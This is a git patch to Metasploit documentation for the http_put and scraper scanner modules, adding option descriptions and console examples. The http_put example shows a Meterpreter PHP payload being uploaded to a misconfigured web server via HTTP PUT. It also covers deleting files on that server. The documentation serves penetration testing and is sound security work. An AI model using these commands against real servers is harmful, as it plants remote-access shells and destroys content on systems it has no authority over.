From b8323f7372f697328aab20dea287d2e8ca827006 Mon Sep 17 00:00:00 2001 From: y_k_oo7 Date: Tue, 19 Feb 2019 18:34:32 +0530 Subject: [PATCH] Updated Docs --- .../auxiliary/scanner/http/http_put.md | 23 +++++++++++++++++-- .../modules/auxiliary/scanner/http/scraper.md | 2 ++ 2 files changed, 23 insertions(+), 2 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/http_put.md b/documentation/modules/auxiliary/scanner/http/http_put.md index fdb3827e7a..6fc0e94b8f 100644 --- a/documentation/modules/auxiliary/scanner/http/http_put.md +++ b/documentation/modules/auxiliary/scanner/http/http_put.md @@ -11,10 +11,30 @@ This module can abuse misconfigured web servers to upload and delete web content 6. Do: ```set FILEDATA [PATH]``` 7. DO: ```run``` +## Options + +### ACTION + +**PUT** + +Action is set to PUT to upload files to the server. If `FILENAME` isn't specified, the module will generate a random string as a .txt file. + +**DELETE** + +`FILENAME` is required when Action is set to DELETE + +### PATH + +The path at which this module will attempt to either PUT the content or DELETE it. + ## Scenarios +Here Action is set to `PUT`. + ``` msf > use auxiliary/scanner/http/http_put +msf auxiliary(scanner/http/http_put) > set ACTION PUT +ACTION => PUT msf auxiliary(scanner/http/http_put) > set RHOSTS 1.1.1.23 RHOSTS => 1.1.1.23 msf auxiliary(scanner/http/http_put) > set RPORT 8585 @@ -27,8 +47,7 @@ msf auxiliary(scanner/http/http_put) > set FILEDATA file://root/Desktop/meterpre FILEDATA => file://root/Desktop/meterpreter.php msf auxiliary(scanner/http/http_put) > run -[+] File uploaded: -http://1.1.1.23:8585/uploads/meterpreter.php +[+] File uploaded: http://1.1.1.23:8585/uploads/meterpreter.php [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(scanner/http/http_put) > diff --git a/documentation/modules/auxiliary/scanner/http/scraper.md b/documentation/modules/auxiliary/scanner/http/scraper.md index 84df7e1c52..18af4fb159 100644 --- a/documentation/modules/auxiliary/scanner/http/scraper.md +++ b/documentation/modules/auxiliary/scanner/http/scraper.md @@ -14,6 +14,8 @@ By default this module scrapes the `title` of a web page. msf > use auxiliary/scanner/http/scraper msf auxiliary(scanner/http/scraper) > set RHOSTS 1.1.1.18 RHOSTS => 1.1.1.18 +msf auxiliary(scanner/http/scraper) > set PATTERN '(.*)' +PATTERN => (?-mix:(.*)<\/title>) msf auxiliary(scanner/http/scraper) > run [+] 1.1.1.18 / [Index of /]